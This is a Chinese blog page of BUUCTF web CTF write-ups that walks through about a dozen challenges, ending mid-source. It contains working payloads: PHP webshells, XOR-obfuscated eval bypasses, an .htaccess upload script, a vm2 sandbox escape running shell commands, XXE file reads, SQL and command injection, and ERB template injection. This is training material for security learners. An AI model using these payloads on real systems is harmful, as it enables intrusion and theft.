当前位置: 首页 > news >正文

buuctf——web刷题第四页

第四页

目录

[SUCTF 2019]EasyWeb

[GKCTF 2021]easycms

[BJDCTF2020]EzPHP

[GYCTF2020]EasyThinking

[GXYCTF2019]StrongestMind

[WMCTF2020]Make PHP Great Again

[SUCTF 2018]GetShell

EasyBypass

[HFCTF2020]JustEscape

[b01lers2020]Life on Mars

[极客大挑战 2020]Greatphp

[CSAWQual 2019]Web_Unagi

[BSidesCF 2019]SVGMagic

[ISITDTU 2019]EasyPHP

[羊城杯2020]easyphp

[FireshellCTF2020]Caas

[HarekazeCTF2019]Avatar Uploader 1

[SCTF2019]Flag Shop

[N1CTF 2018]eating_cms

[GYCTF2020]Easyphp

[GYCTF2020]Ez_Express

[SUCTF 2018]MultiSQL

[SUCTF 2018]annonymous

[RootersCTF2019]babyWeb

[安洵杯 2019]不是文件上传

[强网杯 2019]Upload

[CISCN2019 华东南赛区]Web4

[GXYCTF2019]BabysqliV3.0

bestphp's revenge

[pasecactf_2019]flask_ssti


[SUCTF 2019]EasyWeb

源码:

<?php
function get_the_flag(){// webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);if(!file_exists($userdir)){mkdir($userdir);}if(!empty($_FILES["file"])){$tmp_name = $_FILES["file"]["tmp_name"];$name = $_FILES["file"]["name"];$extension = substr($name, strrpos($name,".")+1);if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name;@move_uploaded_file($tmp_name, $path);print_r($path);}
}$hhh = @$_GET['_'];if (!$hhh){highlight_file(__FILE__);
}if(strlen($hhh)>18){die('One inch long, one inch strong!');
}if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");eval($hhh);
?>

count_chars:

异或构造:

输出可用字符集

<?php
for($ascii=0;$ascii<256;$ascii++){if ( !preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($ascii)) ){echo $ascii.',';}
}
?>
def func(str):s=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255]for i in s:for j in s:if chr(i^j)==str and hex(i)=='0x81': # 0x81为_#print(chr(j),chr(i))print(hex(j),hex(i))string = "_GET"
for m in string:func(m)

?_=${%de%c6%c4%d5^%81%81%81%81}{%81}()&%81=phpinfo

其实就是?_=$_GET{_}()&_=phpinfo

当然,这个试非预期解:

$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);根据ip来md5加密;

然后不能出现 ph <?

上传 .htaccess文件:

脚本取自

import requests
import base64url = "http://fc5e19e8-2ac4-470f-86f8-9e0604126180.node4.buuoj.cn:81/?_=${%de%c6%c4%d5^%81%81%81%81}{%81}();&%81=get_the_flag"htaccess = b"""
#define width 1
#define height 1
AddType application/x-httpd-php .r
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c47b21fcf8f0bc8b3920541abd8024fd/shell.r"
"""
shell = b"GIF89a00" + base64.b64encode(b"<?php eval($_POST[1]);?>")#通过base64加密绕过文件内容判断,然后包含的时候再解密file1 = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"submit"}
res = requests.post(url = url,data = data,files = file1)
print(res.text)file2 = {'file':('shell.r',shell,'image/jpeg')}
data = {"upload":"submit"}
res = requests.post(url = url,data = data,files = file2)
print(res.text)

[GKCTF 2021]easycms

cms

提示

扫描到admin.php

弱口令的话尝试admin/12345,还真是

然后就是设计——>自定义——>导出主题

然后复制下载链接:

http://2e5d063a-1b8a-44c1-a6fb-5878ac409bf1.node5.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=

估计是任意文件下载

http://2e5d063a-1b8a-44c1-a6fb-5878ac409bf1.node5.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=

直接下载后缀改为txt打开即可

[BJDCTF2020]EzPHP

$_SERVER['QUERY_STRING'],$_REQUEST

base32解码

<?php
highlight_file(__FILE__);
error_reporting(0); $file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?'); 
}if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
} if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} ?>

开始处于:

if (file_get_contents($file) !== 'debu_debu_aqua')

die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

$_SERVER['QUERY_STRING'不会对传入的参数url编码,我们就直接unicode全编码

from urllib.parse import quoteoriginal_string = "ctf"
encoded_string = ''.join(['%' + format(ord(char), '02X') for char in original_string])
print(encoded_string)

然后是:/^aqua_is_cute$/

^表示头,$表示尾,换行绕过

?%64%65%62%75=%61%71%75%61%5F%69%73%5F%63%75%74%65%0a

%0A换行

然后是这个:$_REQUEST是post和get都有,但是post的优先级更高,直接post:debu=1覆盖掉get的

file就用data伪协议:

然后:

sha1强比较

emmm,真正的强比较试了一下,发现有东西被ban了,那就直接用数组绕过

最后一步:

因为前面有个extract($_GET["flag"]);

可以利用这个覆盖code和arg

看到什么'',$arg第一个i选哪个到的就是create_function

arg只需要加},和;//就可以闭合,如:

function a('',$arg){return }代码;//
}

flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

这里直接用get_defined_vars输出所有定义的量

emmm,有个 rea1fl4g.php ,那就用filter来读,因为.被ban了,那就取反吧:

include被ban了就用requrie

require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)

最终:

get:

?%64%65%62%75=%61%71%75%61%5F%69%73%5F%63%75%74%65%0a&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//

post:

debu=1&file=2&shana=3&passwd=4&flag=5

nb

[GYCTF2020]EasyThinking

thinkphp6的框架,查查看漏洞

我们可以通过修改自己session的内容规定名字

login界面的session值是一个全局的值(这里加php记得先去4个字符再加,满足条件)

session存的位置:

/runtime/session/sess_22eb1fd45e759cfcea9ac956f6b2.php

这里的session就是我们要的了

然后就是flag看不了用readflag

disable_functions绕过

[GXYCTF2019]StrongestMind

那就写个脚本吧(ai搓一个)

import requests
from bs4 import BeautifulSoup
import re
import timeurl = "http://7f0b0f66-dfb2-4fda-b338-8585dbd49bb0.node5.buuoj.cn:81/index.php"session = requests.Session()for i in range(1, 1023):time.sleep(0.1)if i == 1:response = session.get(url)else:response = post_response  # 从上次响应中读取下一道题response.encoding = 'utf-8'soup = BeautifulSoup(response.text, 'html.parser')center_text = soup.find('center').get_text(strip=True)print("原始文本内容:", center_text)# 清洗文本,只保留数字和运算符cleaned_text = re.sub(r'[^\d+\-\s]', '', center_text)match = re.search(r'(\d+)\s*([+-])\s*(\d+)', cleaned_text)if match:formula = f"{match.group(1)}{match.group(2)}{match.group(3)}"answer = eval(formula)print(f"计算结果: {answer}")else:raise ValueError("未找到有效的算式")# 提交答案data = {"answer": str(answer)}post_response = session.post(url, data=data)post_response.encoding = 'utf-8'print("提交成功!响应内容:")print(post_response.text)

[WMCTF2020]Make PHP Great Again

require_once

require-once如果包含过多软链接就会失效

  • /proc/self//proc/[pid]/ 的软链接,指向当前进程的 /proc/[pid] 目录。
  • /proc/self/root 是指向当前进程的 根目录(root directory) 的软链接

软链接的基本概念
  • 软链接是一个独立的文件 ,它的内容只是一个路径字符串。
  • 它指向另一个实际存在的文件或目录。
  • 如果原文件被删除,软链接会变成“死链”(失效)

那这里就用filter

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

出来base64解密

[SUCTF 2018]GetShell

禁数字字母文件上传

有个这个:

访问:

随便传一个空的txt文件,发现他会自动变成php

那就去看看怎么写入一句话木马

fuzz发现这里的数字,字母都用不了

利用中文字符 + 取反 + 字符串拼接来绕过敏感词过滤器

<?=                
$_=[];             //array
$__=$_.$_;         //arrayarray 
$_=($_==$__);      //不成立 false -->0
$__=($_==$_);      //成立   true  -->1
$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];  //system
$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];         //_Post
$___($$____[_]);   //system($_POST[_]);

<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$___($$____[_]);

这里不要直接在bp里改,先写到文件里再上传

发现没有:

env:显示系统中已存在的环境变量,以及在定义的环境中执行指令

EasyBypass

comm1参数为"传入的参数",comm2同理,所以我们可以用 "来闭合

payload:?comm1=index.php";tac /fla*;"&comm2=1

——> $comm1="index.php";tac /fla*;""

然后就system执行了

[HFCTF2020]JustEscape

vm2沙盒逃逸(不懂)

看看run.php

看来大佬的wp,这里考的是vm沙箱逃逸

因为有提示说不是php, 先用Error().stack测试一下

vm.js

GitHub上有大佬写了脚本:

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){TypeError.prototype.get_process = f=>f.constructor("return process")();try{Object.preventExtensions(Buffer.from("")).a = 1;}catch(e){return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();}
}+')()';
try{console.log(new VM().run(untrusted));
}catch(x){console.log(x);
}

然后prototype这些被过滤了的,可以用 [`${`${`prototyp`}e`}`] 或者 [`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`],"

绕过:
改完之后:

有 . 用[]

(function (){TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`ls`).toString();}
})()

/run.php?code=(function (){

TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();

try{

Object.preventExtensions(Buffer.from(``)).a = 1;

}catch(e){

return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`tac /flag`).toString();

}

})()

[b01lers2020]Life on Mars

多库查询

static/js/life_on_mars.js 访问这个试试

有个query?search=

加上olympus_mons后回显了一个数据集,有可能是sql注入

然后因为是get_file

所以这些参数都可以

olympus_mons order by 2 发现真可以

olympus_mons union select 1,database()

成功回显

olympus_mons union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='aliens')

发现和主页一样,那应该是不止一个库了

在information.schema.schemate中看

olympus_mons union select 1,group_concat(database()) from information_schema.schemata

3个一样的

换一下:

olympus_mons union select 1,group_concat(schema_name) from information_schema.schemata

估计就是这个alien_code了

olympus_mons union select 1,group_concat(table_name) from information_schema.tables where table_schema='alien_code'

olympus_mons union select 1,group_concat(column_name) from information_schema.columns where table_name='code'

olympus_mons union select 1,group_concat(code) from alien_code.code

[极客大挑战 2020]Greatphp

Error绕过md5,sha1,反序列化

这里不能用数组,用error

$a=new Error(payload,1);$b=new Error(payload,2);

这个的报错模式为:

先用?>闭合,所以为?><?include"/flag"?>,然后因为"被ban了,所以用取反

<?php
class SYCLOVER {public $syc;public $lover;public function __construct($b,$c){$this->syc = $b;$this->lover = $c;}
}
$flag = ~("/flag");
$str = "?><?=include~".$flag."?>";
$b = new error($str,1);$c=new error($str,2);
$a = new SYCLOVER($b,$c);echo(urlencode(serialize($a)));
?>

O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

[CSAWQual 2019]Web_Unagi

xml绕过

然后看了一下,这个是xml格式的

<?xml version="1.0"?> 
<!DOCTYPE users [
<!ENTITY flag SYSTEM "file:///flag">    
]> <!-- 引用外部实体flag-->
<users> <user><username>114514</username><password>1</password><name>11</name><email>1.com</email><group>CSAW2025</group><intro>&flag;</intro> </user>
</users>

被拦截了,然后绕过的话尝试把UTF-8换成UTF-16

[BSidesCF 2019]SVGMagic

SVG&proc

SVG是啥,搜一下

XML啊,估计就是xxe了

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE note [<!ENTITY flag SYSTEM "file:///etc/passwd" >]><svg height="300" width="300"><text x="30" y="30">&flag;</text>
</svg>

试试

可以

然后这里为什么是flag.txt呢,看来其他师傅的博客,好像没找到怎么来的,就靠猜的吧

<!--test.svg-->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE note [<!ENTITY flag SYSTEM "file:///proc/self/cwd/flag.txt" >
]><svg height="300" width="1000"><text x="30" y="30">&flag;</text>
</svg>

/proc/self/root & pwd & cwd

/proc/self:指当前正在访问该路径的进程自身

root: 表示当前进程的 根目录

cwd: 表示当前进程的 当前工作目录

pwd: 是 /proc/self/cwd 的一个符号链接

[ISITDTU 2019]EasyPHP


if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

如果输入字符串中使用的不同字符数量超过 13 种 ,就触发 die()

取反没东西,试试异或:

取反的话和 %ff的异或结果一样:

?_=((%8F%97%8F%96%91%99%90)^(%ff%ff%ff%ff%ff%ff%ff))();

然后用 print_r(scandir(.))

?_=(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%D1)^(%FF)));

但是试了一下发现过13了

然后看来别人的文章, 使用异或的方法,通过已存在的字符构造三个没有的字符

str = 'pscadi'
target = 'ntr'for m in target:for a in str:for b in str:for c in str:if ord(a)^ord(b)^ord(c) == ord(m):print("{} = {}^{}^{}".format(m,a,b,c))
输出(取了三个结果):
n = c^d^i
t = s^c^d
r = p^c^a

替换ntr

payload:

?_=((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));

用end直接将指针执行最后一个文件,然后读取

readfile(end(scandir(.))

异或:((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%91%9B)^(%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

还是超了

str = 'readfile'
target = 'nsc'for m in target:for a in str:for b in str:for c in str:if ord(a)^ord(b)^ord(c) == ord(m):print("{} = {}^{}^{}".format(m,a,b,c))输出(取三个结果):
n = a^f^i
s = r^e^d
c = a^d^f

?_=((%8D%8D%8D%8D%8D%8D%9E%8D)^(%9A%8D%8D%8D%8D%8D%9B%8D)^(%9A%9A%9E%9B%99%96%96%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%8D%9E%8D)^(%8D%99%8D)^(%9A%96%9B)^(%FF%FF%FF))(((%8D%9E%8D%9E%8D%8D%8D)^(%9A%9B%8D%99%8D%8D%9A)^(%9B%99%9E%96%9B%96%9A)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

[羊城杯2020]easyphp

.htaccess包含自身

unlink

如果不是index.php就会被删掉,然后ban了几个单词,我估计flag就在flag里

那我们这里就写入.hatccess

因为这里file和flag被ban了,然后\拼接上下文的

php_value auto_prepend_fil\

e .htaccess

#<?php system('cat /fla?');?>

?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%20e%20.htaccess%20#%3C%3Fphp%20system('cat%20%2Ffla*')%3B%3F%3E

[FireshellCTF2020]Caas

#include文件包含

尝试echo 1

然后看看报错了啥:

这是一个c的编译器,然后看了其他师傅的wp,这用#include包含:

#include "/etc/passwd"

#include "/proc/self/root/flag"

[HarekazeCTF2019]Avatar Uploader 1

看看正则:

  • 输入的字符串必须以开头 (^) 开始,以结尾 ($) 结束。
  • 字符串的长度必须在 4 到 16 个字符 之间。
  • 字符串中的每个字符只能是 数字 (0-9) 大写字母 (A-Z) 小写字母 (a-z) 下划线 (_)

看看源码:

<?php
// 关闭错误报告,可能会隐藏一些错误信息,在开发阶段可考虑开启(例如 error_reporting(E_ALL))
error_reporting(0); // 引入配置文件,可能包含一些常量和配置信息
require_once('config.php'); 
// 引入工具类文件,可能包含一些常用的工具函数
require_once('lib/util.php'); 
// 引入会话管理类文件,可能包含安全会话相关的功能
require_once('lib/session.php'); // 创建一个新的 SecureClientSession 对象,使用预定义的 CLIENT_SESSION_ID 和 SECRET_KEY 作为参数
$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY); // 检查是否有文件被上传,如果文件不存在或不是通过 HTTP POST 上传的文件,输出错误信息
if (!file_exists($_FILES['file']['tmp_name']) ||!is_uploaded_file($_FILES['file']['tmp_name'])) {error('No file was uploaded.');
}// 检查文件大小,如果文件大小超过 256000 字节,输出错误信息
if ($_FILES['file']['size'] > 256000) {error('Uploaded file is too large.');
}// 检查文件类型
$finfo = finfo_open(FILEINFO_MIME_TYPE);
// 获取文件的 MIME 类型
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
// 如果文件类型不是 image/png,输出错误信息
if (!in_array($type, ['image/png'])) {error('Uploaded file is not PNG format.');
}// 检查文件的宽高
$size = getimagesize($_FILES['file']['tmp_name']);
// 如果文件的宽度或高度大于 256 像素,输出错误信息
if ($size[0] > 256 || $size[1] > 256) {error('Uploaded image is too large.');
}
// 如果文件的类型不是 IMAGETYPE_PNG,输出错误信息并显示 FLAG1(可能是用于调试或意外情况)
if ($size[2]!== IMAGETYPE_PNG) {// I hope this never happens...error('What happened...? OK, the flag for part 1 is: <code>'. getenv('FLAG1'). '</code>');
}// 生成一个随机的文件名,使用 bin2hex(random_bytes(4)) 生成一个 8 位的十六进制字符串并添加.png 后缀
$filename = bin2hex(random_bytes(4)). '.png';
// 将上传的文件移动到 UPLOAD_DIR 目录下,并使用生成的随机文件名
move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR. '/'. $filename);// 在会话中存储文件名
$session->set('avatar', $filename);
// 显示一个成功的消息
flash('info', 'Your avatar has been successfully updated!');
// 重定向到根目录
redirect('/');

if ($size[2]!== IMAGETYPE_PNG) {

// I hope this never happens...

error('What happened...? OK, the flag for part 1 is: <code>'. getenv('FLAG1'). '</code>');

}因该是这里输出flag

[SCTF2019]Flag Shop

ruby,jwt

分析一下

eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJhMTE4NWY4Ni0xZDczLTRmMjktODI5ZC1kMzYwZGYwNjY2YjUiLCJqa2wiOjIwfQ.Qkt32DrXtgUUgafRubSL-ouIkc1xZfxNlp5rGaHydoE

ewogICJ1aWQiOiAiYTExODVmODYtMWQ3My00ZjI5LTgyOWQtZDM2MGRmMDY2NmI1IiwKICAiamtsIjogMTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAKfQ

伪造但是显示

robots.txt

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'set :public_folder, File.dirname(__FILE__) + '/static'FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)configure doenable :loggingfile = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")file.sync = trueuse Rack::CommonLogger, file
endget "/" doredirect '/shop', 302
endget "/filebak" docontent_type :texterb IO.binread __FILE__
endget "/api/auth" dopayload = { uid: SecureRandom.uuid , jkl: 20}auth = JWT.encode payload,ENV["SECRET"] , 'HS256'cookies[:auth] = auth
endget "/api/info" doisloginauth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
endget "/shop" doerb :shop
endget "/work" doisloginauth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }auth = auth[0]unless params[:SECRET].nil?if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")puts ENV["FLAG"]endendif params[:do] == "#{params[:name][0,7]} is working" thenauth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)auth = JWT.encode auth,ENV["SECRET"] , 'HS256'cookies[:auth] = authERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").resultend
endpost "/shop" doisloginauth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }if auth[0]["jkl"] < FLAGPRICE thenjson({title: "error",message: "no enough jkl"})elseauth << {flag: ENV["FLAG"]}auth = JWT.encode auth,ENV["SECRET"] , 'HS256'cookies[:auth] = authjson({title: "success",message: "jkl is good thing"})end
enddef isloginif cookies[:auth].nil? thenredirect to('/shop')end
end

然后不会了,看一下其他师傅的博客

要点:

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)

auth = JWT.encode auth,ENV["SECRET"] , 'HS256'

cookies[:auth] = auth

ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end

end

要满足if params[:do] == "#{params[:name][0,7]} is working" 中的do和name相同,就会使用 JWT(JSON Web Token)库对 auth 数据结构进行编码操作。它将 auth 作为要编码的数据,使用环境变量 ENV["SECRET"] 作为加密密钥,并指定加密算法为 HS256。编码后的结果会重新赋值给 auth 变量,以便后续使用。

内部的 params[:SECRET].match(/[0-9a-z]+/)首先使用正则表达式 /[0-9a-z]+/ 对 params[:SECRET] 进行匹配操作。

如果匹配成功,它会返回一个 MatchData 对象。然后通过将这个 MatchData 对象转换为字符串,得到从 params[:SECRET] 中提取出的符合要求的字符串部分。

外部的 ENV["SECRET"].match(...):接着,将从 params[:SECRET] 中提取出的字符串作为参数,再用它去匹配环境变量 ENV["SECRET"]如果 ENV["SECRET"] 中能找到与从 params[:SECRET] 提取出的字符串相匹配的部分,那么这个 match 操作就会返回一个 MatchData 对象(表示匹配成功),此时整个 if 条件判断就为真,会继续执行后续位于这个 if 条件判断内部的操作,也就是输出 ENV["FLAG"]

构造paload:/work?SECRET=&name=<%=$'%>&do=<%=$'%> is working

需要编码使用:

/work SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%

25%3e is working

6075a7e43caa8595b1f0c3f608e84be868d950173d140fa3339bc4aeffa2a30bbddd07abd86cf6a7e078fbe01e77c8a413ebb899bf122c6d9d4c5d0d558739f6 working successfully!

密匙知道了,加密:

[N1CTF 2018]eating_cms

扫到register.php

登陆后看到

有个page参数,试试能不能读文件,index.php没有,估计自动补齐了

user.php?page=php://filter/convert.base64-encode/resource=index

function.php

<?php
session_start();
require_once "config.php";
function Hacker()
{Header("Location: hacker.php");die();
}function filter_directory()
{$keywords = ["flag","manage","ffffllllaaaaggg"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
//    var_dump($query);
//    die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function filter_directory_guest()
{$keywords = ["flag","manage","ffffllllaaaaggg","info"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
//    var_dump($query);
//    die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function Filter($string)
{global $mysqli;$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";for ($i = 0; $i < strlen($string); $i++) {if (strpos("$whitelist", $string[$i]) === false) {Hacker();}}if (preg_match("/$blacklist/is", $string)) {Hacker();}if (is_string($string)) {return $mysqli->real_escape_string($string);} else {return "";}
}function sql_query($sql_query)
{global $mysqli;$res = $mysqli->query($sql_query);return $res;
}function login($user, $pass)
{$user = Filter($user);$pass = md5($pass);$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";echo $sql;$res = sql_query($sql);
//    var_dump($res);
//    die();if ($res->num_rows) {$data = $res->fetch_array();$_SESSION['user'] = $data[username_which_you_do_not_know];$_SESSION['login'] = 1;$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];return true;} else {return false;}return;
}function updateadmin($level,$user)
{$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";echo $sql;$res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);if ($res == 1) {return true;} else {return false;}return;
}function register($user, $pass)
{global $mysqli;$user = Filter($user);$pass = md5($pass);$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";$res = sql_query($sql);return $mysqli->insert_id;
}function logout()
{session_destroy();Header("Location: index.php");
}?>

register:

<?php
require_once "function.php";
